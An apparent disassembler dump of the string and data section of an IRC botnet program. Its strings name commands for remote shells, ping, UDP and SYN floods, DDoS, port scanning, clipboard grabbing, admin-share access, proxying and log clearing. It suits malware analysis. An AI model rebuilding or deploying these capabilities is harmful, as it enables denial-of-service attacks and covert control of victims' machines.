aExecute	db 'execute',0          ; DATA XREF: sub_409557+1DB4o
; char aUfalehupdp[]
aUfalehupdp	db 'ufalehupdp',0       ; DATA XREF: sub_409557+1D9Do
		align 10h
; char aFalehupd[]
aFalehupd	db 'falehupd',0         ; DATA XREF: sub_409557+1D86o
		align 4
; char aDe[]
aDe		db 'de',0               ; DATA XREF: sub_409557+1D6Fo
		align 10h
; char aDelay[]
aDelay		db 'delay',0            ; DATA XREF: sub_409557+1D58o
		align 4
; char aRp[]
aRp		db 'rp',0               ; DATA XREF: sub_409557+1D41o
		align 4
; char aRepeat[]
aRepeat		db 'repeat',0           ; DATA XREF: sub_409557+1D2Ao
					; sub_409557+3846o
		align 4
; char aC_p[]
aC_p		db 'c_p',0              ; DATA XREF: sub_409557+1D13o
; char aC_part[]
aC_part		db 'c_part',0           ; DATA XREF: sub_409557+1CFCo
		align 10h
; char aC_j[]
aC_j		db 'c_j',0              ; DATA XREF: sub_409557+1CE5o
; char aC_join[]
aC_join		db 'c_join',0           ; DATA XREF: sub_409557+1CCEo
		align 4
; char aC_n[]
aC_n		db 'c_n',0              ; DATA XREF: sub_409557+1CB7o
; char aC_nick[]
aC_nick		db 'c_nick',0           ; DATA XREF: sub_409557+1CA0o
		align 4
; char aC_m[]
aC_m		db 'c_m',0              ; DATA XREF: sub_409557+1C89o
; char aC_mode[]
aC_mode		db 'c_mode',0           ; DATA XREF: sub_409557+1C72o
		align 4
; char aC_r[]
aC_r		db 'c_r',0              ; DATA XREF: sub_409557+1C5Bo
; char aC_raw[]
aC_raw		db 'c_raw',0            ; DATA XREF: sub_409557+1C44o
		align 10h
; char aM_0[]
aM_0:					; DATA XREF: sub_409557+1C2Do
		unicode	0, <m>,0
; char aMode[]
aMode		db 'mode',0             ; DATA XREF: sub_409557+1C16o
		align 4
; char aCy[]
aCy		db 'cy',0               ; DATA XREF: sub_409557+1BFFo
		align 10h
; char aCycle[]
aCycle		db 'cycle',0            ; DATA XREF: sub_409557+1BE8o
		align 4
; char aA_1[]
aA_1:					; DATA XREF: sub_409557+1BD1o
		unicode	0, <a>,0
; char aAction[]
aAction		db 'action',0           ; DATA XREF: sub_409557+1BBAo
		align 4
; char aPm_0[]
aPm_0		db 'pm',0               ; DATA XREF: sub_409557+1BA3o
		align 4
; char aPrivmsg_0[]
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_409557+1B8Co
; char aAa[]
aAa		db 'aa',0               ; DATA XREF: sub_409557+1B75o
		align 4
; char aAddalias[]
aAddalias	db 'addalias',0         ; DATA XREF: sub_409557+1B5Eo
		align 10h
; char aGh[]
aGh		db 'gh',0               ; DATA XREF: sub_409557+1B35o
		align 4
; char aGethost[]
aGethost	db 'gethost',0          ; DATA XREF: sub_409557+1B1Eo
aNetCommandUnkn	db '[NET]: Command unknown.',0 ; DATA XREF: sub_409557:loc_40B068o
aNetNoMessageSp	db '[NET]: No message specified.',0 ; DATA XREF: sub_409557:loc_40B05Eo
		align 4
aNetUserListFai	db '[NET]: User list failed.',0 ; DATA XREF: sub_409557:loc_40B010o
		align 10h
aNetUserListCom	db '[NET]: User list completed.',0 ; DATA XREF: sub_409557+1AAFo
aNetShareListFa	db '[NET]: Share list failed.',0 ; DATA XREF: sub_409557:loc_40AF6Eo
		align 4
aNetShareListCo	db '[NET]: Share list completed.',0 ; DATA XREF: sub_409557+1A0Do
		align 4
; char aShare[]
aShare		db 'share',0            ; DATA XREF: sub_409557+19A5o
		align 10h
; char aContinue[]
aContinue	db 'continue',0         ; DATA XREF: sub_409557+196Fo
		align 4
; char aPause[]
aPause		db 'pause',0            ; DATA XREF: sub_409557+1957o
		align 4
; char aStop[]
aStop		db 'stop',0             ; DATA XREF: sub_409557+193Fo
		align 4
aNetServiceLi_0	db '[NET]: Service list failed.',0 ; DATA XREF: sub_409557:loc_40AE8Bo
aNetServiceList	db '[NET]: Service list completed.',0 ; DATA XREF: sub_409557+192Ao
		align 4
; char aStart[]
aStart		db 'start',0            ; DATA XREF: sub_409557+18D9o
		align 10h
aNetFailedToLoa	db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0
					; DATA XREF: sub_409557+18A6o
; char aNet[]
aNet		db 'net',0              ; DATA XREF: sub_409557+1882o
; char aIdentNoThreadF[]
aIdentNoThreadF	db '[IDENT]: No thread found.',0 ; DATA XREF: sub_409557:loc_40ADBEo
		align 4
aIdentServerSto	db '[IDENT]: Server stopped. (%d thread(s) stopped.)',0
					; DATA XREF: sub_409557+185Do
		align 4
; char aOff[]
aOff		db 'off',0              ; DATA XREF: sub_409557+183Ao
aIdentAlreadyRu	db '[IDENT]: Already running.',0 ; DATA XREF: sub_409557+17D2o
		align 4
; char aOn[]
aOn		db 'on',0               ; DATA XREF: sub_409557+17B6o
		align 4
; char aIdent[]
aIdent		db 'ident',0            ; DATA XREF: sub_409557+17A1o
		align 4
; char aRf[]
aRf		db 'rf',0               ; DATA XREF: sub_409557+178Ao
		align 4
; char aReadfile[]
aReadfile	db 'readfile',0         ; DATA XREF: sub_409557+1773o
		align 4
; char aCm[]
aCm		db 'cm',0               ; DATA XREF: sub_409557+175Co
		align 4
; char aCmd_0[]
aCmd_0		db 'cmd',0              ; DATA XREF: sub_409557+1745o
; char aMirc[]
aMirc		db 'mirc',0             ; DATA XREF: sub_409557+172Eo
		align 4
; char aMirccmd[]
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_409557+1717o
; char aLi[]
aLi		db 'li',0               ; DATA XREF: sub_409557+1700o
		align 10h
; char aList_0[]
aList_0		db 'list',0             ; DATA XREF: sub_409557+16E9o
		align 4
; char aDel[]
aDel		db 'del',0              ; DATA XREF: sub_409557+16D2o
; char aDelete[]
aDelete		db 'delete',0           ; DATA XREF: sub_409557+16BBo
					; sub_409557+198Ao
		align 4
; char aKi[]
aKi		db 'ki',0               ; DATA XREF: sub_409557+16A4o
		align 4
; char aKill[]
aKill		db 'kill',0             ; DATA XREF: sub_409557+168Do
		align 10h
; char aKp[]
aKp		db 'kp',0               ; DATA XREF: sub_409557+1676o
		align 4
; char aKillproc[]
aKillproc	db 'killproc',0         ; DATA XREF: sub_409557+165Fo
		align 10h
; char aDn[]
aDn		db 'dn',0               ; DATA XREF: sub_409557+1648o
		align 4
; char aDns[]
aDns		db 'dns',0              ; DATA XREF: sub_409557+1631o
; char aS3rv3rfg2[]
aS3rv3rfg2	db 's3rv3rfg2',0        ; DATA XREF: sub_409557+161Ao
		align 4
; char aS3rv3rfg[]
aS3rv3rfg	db 's3rv3rfg',0         ; DATA XREF: sub_409557+1603o
		align 10h
; char aO[]
aO:					; DATA XREF: sub_409557+15ECo
		unicode	0, <o>,0
; char aPr[]
aPr		db 'pr',0               ; DATA XREF: sub_409557+15BEo
		align 4
; char aPrefix[]
aPrefix		db 'prefix',0           ; DATA XREF: sub_409557+15A7o
		align 10h
; char aC_rn[]
aC_rn		db 'c_rn',0             ; DATA XREF: sub_409557+1590o
		align 4
; char aC_rndnick[]
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_409557+1579o
		align 4
; char aC_q[]
aC_q		db 'c_q',0              ; DATA XREF: sub_409557+1562o
; char aC_quit[]
aC_quit		db 'c_quit',0           ; DATA XREF: sub_409557+154Bo
		align 10h
; char aK[]
aK:					; DATA XREF: sub_409557+1534o
		unicode	0, <k>,0
; char aKillthread[]
aKillthread	db 'killthread',0       ; DATA XREF: sub_409557+151Do
		align 10h
; char aRaw[]
aRaw		db 'raw',0              ; DATA XREF: sub_409557+14EFo
; char aPt[]
aPt		db 'pt',0               ; DATA XREF: sub_409557+14D8o
		align 4
; char aPart_0[]
aPart_0		db 'part',0             ; DATA XREF: sub_409557+14C1o
		align 10h
; char aJ[]
aJ:					; DATA XREF: sub_409557+14AAo
		unicode	0, <j>,0
; char aJoin[]
aJoin		db 'join',0             ; DATA XREF: sub_409557+1493o
		align 4
; char aN[]
aN:					; DATA XREF: sub_409557+147Co
		unicode	0, <n>,0
; char aNick_0[]
aNick_0		db 'nick',0             ; DATA XREF: sub_409557+1465o
		align 4
; char aSfofofo2a[]
aSfofofo2a	db 'sfofofo2a',0        ; DATA XREF: sub_409557+143Fo
		align 4
; char aFofofo2[]
aFofofo2	db 'fofofo2',0          ; DATA XREF: sub_409557+142Ao
; char aTftp_0[]
aTftp_0		db 'tftp',0             ; DATA XREF: sub_409557+1415o
		align 4
; char aTftpserver[]
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_409557+1400o
		align 10h
; char aHttp[]
aHttp		db 'http',0             ; DATA XREF: sub_409557+13EBo
		align 4
; char aHttpserver[]
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_409557+13D6o
		align 4
; char aRlogin[]
aRlogin		db 'rlogin',0           ; DATA XREF: sub_409557+13C1o
		align 4
; char aRloginserver[]
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_409557+13ACo
		align 4
; char aCip[]
aCip		db 'cip',0              ; DATA XREF: sub_409557+1397o
; char aCurrentip[]
aCurrentip	db 'currentip',0        ; DATA XREF: sub_409557+1382o
		align 4
; char aFdns[]
aFdns		db 'fdns',0             ; DATA XREF: sub_409557+136Do
		align 4
; char aFlushdns[]
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_409557+1358o
		align 10h
; char aFarp[]
aFarp		db 'farp',0             ; DATA XREF: sub_409557:loc_40A89Ao
		align 4
; char aFlusharp[]
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_409557+132Eo
		align 4
; char aGc[]
aGc		db 'gc',0               ; DATA XREF: sub_409557+1319o
		align 4
; char aGetclip[]
aGetclip	db 'getclip',0          ; DATA XREF: sub_409557+1304o
aMainLoginListC	db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_409557+12F3o
		align 10h
; char aD_S[]
aD_S		db '%d. %s',0           ; DATA XREF: sub_409557+12BFo
					; sub_411CF7+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_409557+12B2o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_409557+1290o
		align 10h
; char aWho[]
aWho		db 'who',0              ; DATA XREF: sub_409557+1277o
aCmd		db '[CMD]',0            ; DATA XREF: sub_409557+126Co
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_409557+1267o
		align 4
; char aCmdstop[]
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_409557+124Eo
; char aOcmd[]
aOcmd		db 'ocmd',0             ; DATA XREF: sub_409557+1239o
		align 4
; char aOpencmd[]
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_409557+1224o
; char aDll[]
aDll		db 'dll',0              ; DATA XREF: sub_409557+120Fo
; char aTestdlls[]
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_409557+11FAo
		align 4
; char aDrv[]
aDrv		db 'drv',0              ; DATA XREF: sub_409557+11E5o
; char aDriveinfo[]
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_409557+11D0o
		align 4
; char aUp[]
aUp		db 'up',0               ; DATA XREF: sub_409557+11BBo
		align 4
; char aUptime[]
aUptime		db 'uptime',0           ; DATA XREF: sub_409557+11A6o
		align 10h
; char aPs[]
aPs		db 'ps',0               ; DATA XREF: sub_409557+1191o
		align 4
; char aProcs[]
aProcs		db 'procs',0            ; DATA XREF: sub_409557+117Co
		align 4
; char aRemov10e2[]
aRemov10e2	db 'remov10e2',0        ; DATA XREF: sub_409557+1167o
		align 4
; char aRemov10e[]
aRemov10e	db 'remov10e',0         ; DATA XREF: sub_409557+1152o
		align 4
; char aSi[]
aSi		db 'si',0               ; DATA XREF: sub_409557+113Do
		align 4
; char aSysinfo[]
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_409557+1128o
; char aNi[]
aNi		db 'ni',0               ; DATA XREF: sub_409557+1113o
		align 4
; char aNetinfo[]
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_409557+10FEo
; char aClg[]
aClg		db 'clg',0              ; DATA XREF: sub_409557+10E9o
; char aClearlog[]
aClearlog	db 'clearlog',0         ; DATA XREF: sub_409557+10D4o
		align 4
; char aLg[]
aLg		db 'lg',0               ; DATA XREF: sub_409557+10BFo
		align 10h
; char aLog_0[]
aLog_0		db 'log',0              ; DATA XREF: sub_409557+10AAo
; char aAl[]
aAl		db 'al',0               ; DATA XREF: sub_409557+1095o
		align 4
; char aAliases[]
aAliases	db 'aliases',0          ; DATA XREF: sub_409557+1080o
; char aT[]
aT:					; DATA XREF: sub_409557+106Bo
		unicode	0, <t>,0
; char aThreads[]
aThreads	db 'threads',0          ; DATA XREF: sub_409557+1056o
aMainFailedToRe	db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_409557+1022o
		align 10h
; char aMainRebootingS[]
aMainRebootingS	db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_409557+101Bo
		align 4
; char aReboot[]
aReboot		db 'reboot',0           ; DATA XREF: sub_409557+1004o
		align 4
; char aI_0[]
aI_0:					; DATA XREF: sub_409557+FEFo
		unicode	0, <i>,0
; char aId[]
aId		db 'id',0               ; DATA XREF: sub_409557+FDAo
		align 4
; char aS_7[]
aS_7:					; DATA XREF: sub_409557+FC5o
		unicode	0, <s>,0
; char aStatus[]
aStatus		db 'status',0           ; DATA XREF: sub_409557+FB0o
		align 4
; char aQ[]
aQ:					; DATA XREF: sub_409557+F9Bo
		unicode	0, <q>,0
; char aQuit_0[]
aQuit_0		db 'quit',0             ; DATA XREF: sub_409557+F86o
		align 4
; char aDc[]
aDc		db 'dc',0               ; DATA XREF: sub_409557+F71o
		align 4
; char aDisconnect[]
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_409557+F5Co
		align 4
; char aR[]
aR:					; DATA XREF: sub_409557+F47o
					; sub_409557+1506o ...
		unicode	0, <r>,0
; char aReconnect[]
aReconnect	db 'reconnect',0        ; DATA XREF: sub_409557+F32o
		align 4
; char aStats[]
aStats		db 'stats',0            ; DATA XREF: sub_409557+F1Do
		align 4
; char aScanstats[]
aScanstats	db 'scanstats',0        ; DATA XREF: sub_409557+F08o
		align 4
aScan_0		db '[SCAN]',0           ; DATA XREF: sub_409557+EFDo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_409557+EF8o
		align 4
; char aScanstop[]
aScanstop	db 'scanstop',0         ; DATA XREF: sub_409557+EDFo
		align 4
aSecure_0	db '[SECURE]',0         ; DATA XREF: sub_409557+ED4o
		align 10h
aSecure		db 'Secure',0           ; DATA XREF: sub_409557+ECFo
		align 4
; char aSecurestop[]
aSecurestop	db 'securestop',0       ; DATA XREF: sub_409557+EB6o
		align 4
aClones		db '[CLONES]',0         ; DATA XREF: sub_409557+EABo
		align 10h
aClone		db 'Clone',0            ; DATA XREF: sub_409557+EA6o
		align 4
; char aClonestop[]
aClonestop	db 'clonestop',0        ; DATA XREF: sub_409557+E8Do
		align 4
; char aPsstop[]
aPsstop		db 'psstop',0           ; DATA XREF: sub_409557+E78o
		align 4
; char aProcsstop[]
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_409557+E63o
		align 4
aTftp		db '[TFTP]',0           ; DATA XREF: sub_409557+E58o
		align 10h
; char aTftpstop[]
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_409557+E3Ao
		align 4
aPing_0		db '[PING]',0           ; DATA XREF: sub_409557+E2Fo
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_409557+E2Ao
		align 10h
; char aPingstop[]
aPingstop	db 'pingstop',0         ; DATA XREF: sub_409557+E11o
		align 4
aUpd		db '[UPD]',0            ; DATA XREF: sub_409557+E06o
		align 4
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_409557+E01o
		align 10h
; char aUdpstop[]
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_409557+DE8o
aSyn		db '[SYN]',0            ; DATA XREF: sub_409557+DDDo
		align 10h
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_409557+DD8o
		align 4
; char aSynstop[]
aSynstop	db 'synstop',0          ; DATA XREF: sub_409557+DBFo
aDdos		db '[DDoS]',0           ; DATA XREF: sub_409557+DB4o
		align 4
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_409557+DAFo
		align 4
; char aDdos_stop[]
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: sub_409557+D96o
		align 4
aRedirect	db '[REDIRECT]',0       ; DATA XREF: sub_409557+D8Bo
		align 10h
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_409557+D86o
		align 10h
; char aRedirectstop[]
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_409557+D6Do
		align 10h
aLog		db '[LOG]',0            ; DATA XREF: sub_409557+D62o
		align 4
aLogList	db 'Log list',0         ; DATA XREF: sub_409557+D5Do
		align 4
; char aLogstop[]
aLogstop	db 'logstop',0          ; DATA XREF: sub_409557+D44o
aHttpd		db '[HTTPD]',0          ; DATA XREF: sub_409557+D39o
; char aHttpstop[]
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_409557+D1Bo
		align 10h
aRlogind	db '[RLOGIND]',0        ; DATA XREF: sub_409557+D10o
		align 4
; char aRloginstop[]
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_409557+CF2o
		align 4
aSocks4_0	db '[SOCKS4]',0         ; DATA XREF: sub_409557+CE7o
		align 4
aServer_0	db 'Server',0           ; DATA XREF: sub_409557+CE2o
					; sub_409557+D0Bo ...
		align 4
; char aSocks4stop[]
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_409557+CC9o
		align 4
; char aS4[]
aS4		db 's4',0               ; DATA XREF: sub_409557+CB4o
		align 4
; char aSocks4[]
aSocks4		db 'socks4',0           ; DATA XREF: sub_409557+C9Fo
		align 4
; char aVer[]
aVer		db 'ver',0              ; DATA XREF: sub_409557+C8Ao
; char aVersion[]
aVersion	db 'version',0          ; DATA XREF: sub_409557+C75o
; char aLo[]
aLo		db 'lo',0               ; DATA XREF: sub_409557+C60o
		align 4
; char aLogout[]
aLogout		db 'logout',0           ; DATA XREF: sub_409557+C4Bo
		align 4
; char aD_0[]
aD_0:					; DATA XREF: sub_409557+C36o
		unicode	0, <d>,0
; char aDie[]
aDie		db 'die',0              ; DATA XREF: sub_409557+C21o
; char aRn[]
aRn		db 'rn',0               ; DATA XREF: sub_409557+C0Co
		align 4
; char aRndnick_0[]
aRndnick_0	db 'rndnick',0          ; DATA XREF: sub_409557+BF4o
; char a63[]
a63		db '63',0               ; DATA XREF: sub_409557+ACDo
		align 4
; char asc_4271E4[]
asc_4271E4:				; DATA XREF: sub_409557+AA5o
		unicode	0, <)>,0
; char aChr[]
aChr		db '$chr(',0            ; DATA XREF: sub_409557+A68o
		align 10h
; char aServer[]
aServer		db '$server',0          ; DATA XREF: sub_409557+A5Do
; char aRndnick[]
aRndnick	db '$rndnick',0         ; DATA XREF: sub_409557+A4Co
		align 4
; char aChan[]
aChan		db '$chan',0            ; DATA XREF: sub_409557+A30o
		align 4
; char aUser_1[]
aUser_1		db '$user',0            ; DATA XREF: sub_409557+A1Fo
		align 4
; char aMe[]
aMe		db '$me',0              ; DATA XREF: sub_409557+A0Do
; char aD_1[]
aD_1		db '$%d',0              ; DATA XREF: sub_409557+99Fo
; char aD[]
aD		db '$%d-',0             ; DATA XREF: sub_409557+8E4o
		align 4
dword_427224	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_409557+879o
		dd 0A0Dh
; char dword_42723C
dword_42723C	dd 4E495001h, 47h	; DATA XREF: sub_409557+845o
dword_427244	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_409557+83Ao
		dd 0D017325h, 0Ah
; char dword_427260
dword_427260	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_409557+809o
; char asc_42726C[]
asc_42726C	db '#',0                ; DATA XREF: sub_409557+780o
		align 10h
; char aFr[]
aFr		db 'Fr',0               ; DATA XREF: sub_409557+6D9o
		align 4
; char aHi[]
aHi		db 'hi',0               ; DATA XREF: sub_409557+6C4o
		align 4
; char a332[]
a332		db '332',0              ; DATA XREF: sub_409557+635o
					; sub_409557+6FBo ...
; char aMainUserSLog_0[]
aMainUserSLog_0	db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_409557+5B6o
		align 4
aMainJoinedChan	db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_409557+596o
; char a353[]
a353		db '353',0              ; DATA XREF: sub_409557+55Fo
; char aPart[]
aPart		db 'PART',0             ; DATA XREF: sub_409557+511o
					; sub_409557+5D3o
		align 4
; char aSS_3[]
aSS_3		db ':%s%s',0            ; DATA XREF: sub_409557+4E9o
		align 4
; char aNick[]
aNick		db 'NICK',0             ; DATA XREF: sub_409557+3CBo
		align 4
; char aNoticeSS[]
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409557+36Eo
					; sub_409557+5F7o
; char aMainUserSLogge[]
aMainUserSLogge	db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_409557+355o
					; sub_409557+519Do ...
; char aKick[]
aKick		db 'KICK',0             ; DATA XREF: sub_409557+2E4o
		align 4
; char aNickS[]
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_409557+28Do
					; sub_409557+4225o ...
		align 4
; char a433[]
a433		db '433',0              ; DATA XREF: sub_409557+265o
; char a[]
a@:					; DATA XREF: sub_409557+23Ao
		unicode	0, <@>,0
; char a302[]
a302		db '302',0              ; DATA XREF: sub_409557+22Ao
; char a005[]
a005		db '005',0              ; DATA XREF: sub_409557+215o
; char a001[]
a001		db '001',0              ; DATA XREF: sub_409557+200o
; char aJoinSS[]
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+1E4o
					; sub_409557+3B8o ...
		align 4
; char aPongS[]
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_409557+1C3o
		align 4
; char aPing[]
aPing		db 'PING',0             ; DATA XREF: sub_409557+1A9o
		align 4
; char asc_42734C[]
asc_42734C:				; DATA XREF: sub_409557+19Ao
					; sub_409557+52A8o
		unicode	0, <!>,0
; char asc_427350[]
asc_427350	db ' :',0               ; DATA XREF: sub_409557+86o
					; sub_409557:loc_409DDAo
		align 4
; char aRedirectFail_0[]
aRedirectFail_0	db '[REDIRECT]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_40E9B2+156o
; char aRedirectClient[]
aRedirectClient	db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40E9B2+E1o
		align 10h
; char aRedirectFail_1[]
aRedirectFail_1	db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0
					; DATA XREF: sub_40EB3A+1AAo
; char aRedirectClie_0[]
aRedirectClie_0	db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40EB3A+E1o
		align 4
; char aPrivmsgSS[]
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40EE26+33o
aCmdCouldNotR_0	db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0
					; DATA XREF: sub_40EEAD:loc_40EFDFo
aCmdProccessHas	db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_40EEAD+10Fo
		align 4
aCmdCouldNotRea	db '[CMD]: Could not read data from proccess',0Dh,0Ah,0
					; DATA XREF: sub_40EEAD:loc_40EF93o
		align 4
; char aCmdFailedToSta[]
aCmdFailedToSta	db '[CMD]: Failed to start IO thread, error: <%d>.',0
					; DATA XREF: sub_40F002+194o
		align 4
; char aCmdRemoteComma[]
aCmdRemoteComma	db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_40F002+14Co
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40F002+21o
; char aRlogindUserL_0[]
aRlogindUserL_0	db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_40F1B7+1E9o
		align 4
; char aRlogindErrorSe[]
aRlogindErrorSe	db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_40F1B7+1C2o
		align 10h
; char aRlogindUserLog[]
aRlogindUserLog	db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_40F1B7+1A2o
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_40F1B7+172o
		align 4
; char aRlogindErrorGe[]
aRlogindErrorGe	db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_40F1B7+E1o
		align 10h
; char aRlogindProtoco[]
aRlogindProtoco	db '[RLOGIND]: Protocol string too long.',0
					; DATA XREF: sub_40F3BC:loc_40F401o
		align 4
; char aRlogindLoginRe[]
aRlogindLoginRe	db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0
					; DATA XREF: sub_40F416+1Bo
		align 4
; char aRlogindError_0[]
aRlogindError_0	db '[RLOGIND]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_40F445+219o
		align 10h
; char aRlogindFaile_1[]
aRlogindFaile_1	db '[RLOGIND]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_40F445+1FBo
		align 4
; char aRlogindClientC[]
aRlogindClientC	db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40F445+177o
aRlogindReadyAn	db '[RLOGIND]: Ready and waiting for incoming connections.',0
					; DATA XREF: sub_40F445+106o
		align 10h
; char aRlogindFaile_0[]
aRlogindFaile_0	db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0
					; DATA XREF: sub_40F445+70o
		align 10h
; char aRlogindErrorWs[]
aRlogindErrorWs	db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_40F445+3Do
		align 4
aConst		db 'const',0
		align 10h
		dd 0
dword_427794	dd 1			; DATA XREF: sub_40FA38+7o
off_427798	dd offset sub_40F6CD	; DATA XREF: sub_40FA38+49r
aLetter		db 'letter',0
		align 8
		dd 2, 40F72Bh, 706D6F63h, 2 dup(0)
		dd 3, 40F778h, 6E756F63h, 797274h, 0
		dd 4, 40F816h, 736Fh, 2	dup(0)
		dd 5, 40F88Bh
; char aSI[]
aSI		db '%s%i',0             ; DATA XREF: sub_40F6CD+40o
					; .text:0040F7F7o ...
		align 4
byte_4277F4	db 50h			; DATA XREF: .text:0040F79Ao
					; .text:0040F7A7r
		db 43h,	2 dup(0)
dword_4277F8	dd 7C7325h		; DATA XREF: .text:0040F845o
					; sub_40FA38+39o
aS_5		db '[%s]|',0            ; DATA XREF: .text:0040F94Fo
		align 4
a???		db '???',0              ; DATA XREF: .text:loc_40F946o
					; sub_410E85:loc_410F48o
a2k3		db '2K3',0              ; DATA XREF: .text:0040F93Fo
aXp		db 'XP',0               ; DATA XREF: .text:0040F931o
					; sub_410E85+AAo
		align 10h
a2k		db '2K',0               ; DATA XREF: .text:0040F921o
					; sub_410E85+98o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .text:0040F908o
					; sub_410E85+7Eo
		align 4
a98		db '98',0               ; DATA XREF: .text:0040F8F8o
					; sub_410E85+6Co
		align 4
aNt		db 'NT',0               ; DATA XREF: .text:0040F8E8o
					; sub_410E85+5Ao
		align 10h
a95		db '95',0               ; DATA XREF: .text:0040F8DAo
					; sub_410E85+46o
		align 4
; char aDS[]
aDS		db '[%d]%s',0           ; DATA XREF: sub_40F995+3Ao
		align 4
; char aM[]
aM		db '[M]',0              ; DATA XREF: sub_40F995+2Co
					; sub_40F995+57o
; char aScanIpSPortD_0[]
aScanIpSPortD_0	db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_40FAA1+92o
		align 4
; char aScanScanningIp[]
aScanScanningIp	db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_40FB6E+41o
		align 4
		dd offset aIpc_0	; "IPC$"
		align 10h
		dd offset aAdmin_0	; "ADMIN$"
		align 8
		dd offset dword_4278A4
		dd offset dword_4278A0
		dd offset dword_42789C
		dd offset dword_427898
dword_427898	dd 5C3A44h		; DATA XREF: .data:00427894o
dword_42789C	dd 2444h		; DATA XREF: .data:00427890o
dword_4278A0	dd 5C3A43h		; DATA XREF: .data:0042788Co
dword_4278A4	dd 2443h		; DATA XREF: .data:00427888o
aAdmin_0	db 'ADMIN$',0           ; DATA XREF: .data:00427880o
		align 10h
aIpc_0		db 'IPC$',0             ; DATA XREF: .data:00427878o
		align 4
; char aRlogindWaitfor[]
aRlogindWaitfor	db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0
					; DATA XREF: sub_40FC5F+DEo
		align 4
; char aRlogindFaile_2[]
aRlogindFaile_2	db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>'
					; DATA XREF: sub_40FC5F+59o
					; sub_40FC5F+8Bo
		db '.',0
		align 4
aRlogindFaile_5	db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_40FDB0+AFo
; char aRlogindFaile_4[]
aRlogindFaile_4	db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0
					; DATA XREF: sub_40FDB0+7Eo
		align 4
aRlogindFaile_3	db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0
					; DATA XREF: sub_40FDB0+5Co
; char aRlogindFaile_6[]
aRlogindFaile_6	db '[RLOGIND]: Failed to execute shell, error: <%d>.',0
					; DATA XREF: sub_40FEA9+C3o
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_40FEA9+8Co
		align 4
; char aRlogindSession[]
aRlogindSession	db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0
					; DATA XREF: sub_40FF82+A1o
